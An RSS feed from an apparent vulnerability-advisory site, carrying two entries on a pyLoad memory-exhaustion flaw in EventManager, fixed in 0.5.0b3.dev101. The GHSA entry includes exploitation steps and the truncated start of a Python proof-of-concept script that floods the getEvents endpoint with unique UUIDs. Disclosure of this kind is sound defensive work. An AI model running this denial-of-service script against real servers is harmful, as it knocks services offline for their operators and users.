<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 19:07:06 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-48987 — pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-48987</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; pyload&lt;/p&gt;
&lt;p&gt;pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, EventManager in src/pyload/core/managers/event_manager.py appends a Client object to the clients list for each unique uuid submitted to the authenticated getEvents API endpoint, but get_events does not invoke the available clean method to remove inactive clients. An authenticated user can repeatedly submit unique UUID values, causing retained client objects and process memory to grow without bound even after requests stop. The resulting memory exhaustion can trigger an operating-system out-of-memory termination of pyLoad or host-wide instability and denial of service. This issue is fixed in version 0.5.0b3.dev101.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; pyload&lt;/p&gt;
&lt;p&gt;pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, EventManager in src/pyload/core/managers/event_manager.py appends a Client object to the clients list for each unique uuid submitted to the authenticated getEvents API endpoint, but get_events does not invoke the available clean method to remove inactive clients. An authenticated user can repeatedly submit unique UUID values, causing retained client objects and process memory to grow without bound even after requests stop. The resulting memory exhaustion can trigger an operating-system out-of-memory termination of pyLoad or host-wide instability and denial of service. This issue is fixed in version 0.5.0b3.dev101.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-48987</guid>
    </item>
    <item>
      <title>GHSA-c2f9-4mc8-j656 — pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-c2f9-4mc8-j656</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pyload-ng&lt;/p&gt;
&lt;p&gt;## Description:
The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.&lt;/p&gt;
&lt;p&gt;## Vulnerable Code:
https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17&lt;/p&gt;
&lt;p&gt;&amp;gt; Here the client is added to the `clients` list but never cleared the inactive clients.&lt;/p&gt;
&lt;p&gt;## Exploitation:
1.  **Start pyLoad server** (Ensure the `pyload` server is running)
2.  **Authenticate**: Obtain a session cookie or an API key (Here i used the API key).
3.  **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`.
```python
import requests
import uuid
import time&lt;/p&gt;
&lt;p&gt;# Configuration
URL = &amp;#34;http://localhost:8000/api/getEvents&amp;#34;
NUM_REQUESTS = 100000&lt;/p&gt;
&lt;p&gt;headers = {
	&amp;#34;X-API-Key&amp;#34; : &amp;#34;&amp;lt;YOUR_APIKEY&amp;gt;&amp;#34;
}&lt;/p&gt;
&lt;p&gt;print(f&amp;#34;Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...&amp;#34;)&lt;/p&gt;
&lt;p&gt;for i in range(NUM_REQUESTS):
   # Generating a new UUID
    uid = str(uuid.uuid4())
    t…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pyload-ng&lt;/p&gt;
&lt;p&gt;## Description:
The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.&lt;/p&gt;
&lt;p&gt;## Vulnerable Code:
https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17&lt;/p&gt;
&lt;p&gt;&amp;gt; Here the client is added to the `clients` list but never cleared the inactive clients.&lt;/p&gt;
&lt;p&gt;## Exploitation:
1.  **Start pyLoad server** (Ensure the `pyload` server is running)
2.  **Authenticate**: Obtain a session cookie or an API key (Here i used the API key).
3.  **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`.
```python
import requests
import uuid
import time&lt;/p&gt;
&lt;p&gt;# Configuration
URL = &amp;#34;http://localhost:8000/api/getEvents&amp;#34;
NUM_REQUESTS = 100000&lt;/p&gt;
&lt;p&gt;headers = {
	&amp;#34;X-API-Key&amp;#34; : &amp;#34;&amp;lt;YOUR_APIKEY&amp;gt;&amp;#34;
}&lt;/p&gt;
&lt;p&gt;print(f&amp;#34;Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...&amp;#34;)&lt;/p&gt;
&lt;p&gt;for i in range(NUM_REQUESTS):
   # Generating a new UUID
    uid = str(uuid.uuid4())
    t…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-c2f9-4mc8-j656</guid>
    </item>
  </channel>
</rss>
